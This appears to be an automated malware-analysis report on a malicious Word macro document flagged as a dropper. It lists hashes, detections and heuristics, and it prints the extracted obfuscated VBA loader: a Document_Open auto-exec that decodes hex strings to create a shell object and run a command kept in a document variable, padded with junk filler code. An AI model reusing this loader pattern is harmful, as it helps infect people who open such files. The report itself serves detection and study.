Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e0a36491cfe67eca…

MALICIOUS

Office (OLE)

34.0 KB Created: 2018-08-06 00:10:00 Authoring application: Microsoft Office Word First seen: 2018-10-13
MD5: b633c1d2b215b6a9f9fbfbbbd14a12de SHA-1: afc5b27aef14dd24924d828f37ad3afec08a2320 SHA-256: e0a36491cfe67ecaa58c372b1034e701de439b0b98cbb300d08b89ca31764251
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The Document_Open macro is designed to execute this obfuscated code, which utilizes CreateObject to instantiate a shell object and execute commands. This behavior is indicative of a dropper or downloader, aiming to fetch and execute further malicious payloads. The ClamAV detection name 'Doc.Dropper.Valyria-6666974-0' further supports this assessment.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6666974-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6666974-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2624 bytes
SHA-256: 7c486ce1fa1503f97c77a3dee68063333f404c481aabdbe09b0aceb643c20920
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Sub G_dkkMscak()
    CallByName CreateObject(cb_JTI("9E9AAAB9B0B7BB759AAFACB3B3")), cb_JTI("99BCB5"), VbMethod, cb_JTI(ActiveDocument.Variables("YEAJV").Value), 0, True
End Sub
Private Function isaiJ_MXGY() As String
For i = 28 To 77:BbbYpBUAHhf_JtoJbUn(abFwtehMYWeL_PRzpGvd & CyJnwCfVel_GDXXWFJTiOW(34, 4), 11)):Next i:For i = 28 To 77:BbbYpBUAHhf_JtoJbUn(abFwtehMYWeL_PRzpGvd & CyJnwCfVel_GDXXWFJTiOW(34, 4), 11)):Next i:CwWyRUZcH_BsGVjVDbRTL(eGSTCL_BUYFTgRBfna)):For YTMMfz_amFhih = 45 To 75:BwThXHM_frBApy(aDthuzJm_SWDStZiUHD & kJscwauQ_ylFjFQJlZO(54, v), 11)):Next i:For i = 28 To 77:BbbYpBUAHhf_JtoJbUn(abFwtehMYWeL_PRzpGvd & CyJnwCfVel_GDXXWFJTiOW(34, 4), 11)):Next i:CwWyRUZcH_BsGVjVDbRTL(eGSTCL_BUYFTgRBfna)):CwWyRUZcH_BsGVjVDbRTL(eGSTCL_BUYFTgRBfna)):For YTMMfz_amFhih = 45 To 75:BwThXHM_frBApy(aDthuzJm_SWDStZiUHD & kJscwauQ_ylFjFQJlZO(54, v), 11)):Next i:For YTMMfz_amFhih = 45 To 75:BwThXHM_frBApy(aDthuzJm_SWDStZiUHD & kJscwauQ_ylFjFQJlZO(54, v), 11)):Next i:jaBeuTsp_fhrODCb = aHfCFbcUtl_bPKPLfkkvI:For YTMMfz_amFhih = 45 To 75:BwThXHM_frBApy(aDthuzJm_SWDStZiUHD & kJscwauQ_ylFjFQJlZO(54, v), 11)):Next i:CwWyRUZcH_BsGVjVDbRTL(eGSTCL_BUYFTgRBfna)):Random(12, 6)IttnwVpv_NOotUZBRS:jaBeuTsp_fhrODCb = aHfCFbcUtl_bPKPLfkkvI:
End Function
Sub Document_Open()
Application.Run cb_JTI("8EA6ABB2B294BAAAA8B2")
End Sub
Private Function cb_JTI(ByVal a_nd As String)
   Const CX_ZT As String = "38,72": Dim JF_nK As String: Dim tU_QyZ As Long: For tU_QyZ = 1 To Len(a_nd) Step 2: JF_nK = JF_nK & Chr(Val(Chr(Split(CX_ZT, ",")(0)) & Chr(Split(CX_ZT, ",")(1)) & Mid(a_nd, tU_QyZ, 2)) - 71): Next: cb_JTI = JF_nK
End Function
Private Function Kdvbi_CNegsKM() As String
For SDFsEg_EYHSZCIVyF = 45 To 52:lOzjez_QNyYxxTVBGU(aPKJbedQOhO_mchOEeCIx & uNtyFA_YeacbMP(54, v), 11)):Next i:DNvgnKQc_iWrJoQZ( & vyEvXrFzEHPd_zlpsubshBj:DNvgnKQc_iWrJoQZ( & vyEvXrFzEHPd_zlpsubshBj:PYDtoBaux_FxKIbPS(QjWJXB_pfvKNyhQcK)):PYDtoBaux_FxKIbPS(QjWJXB_pfvKNyhQcK)):For i = 31 To 56:VDHVNo_WHYpnxRwmi(alktRvgfOMvH_XWPkmY & AQwtrakky_kHsaDlcPeh(34, 4), 11)):Next i:DNvgnKQc_iWrJoQZ( & vyEvXrFzEHPd_zlpsubshBj:For i = 31 To 56:VDHVNo_WHYpnxRwmi(alktRvgfOMvH_XWPkmY & AQwtrakky_kHsaDlcPeh(34, 4), 11)):Next i:Random(12, 6)ELgmIiAK_bdFiuxm:Random(12, 6)ELgmIiAK_bdFiuxm:bGglDefg_EwksJOCxwoh = aPSIbxGh_jixMTQT:Dim Dim
End Function

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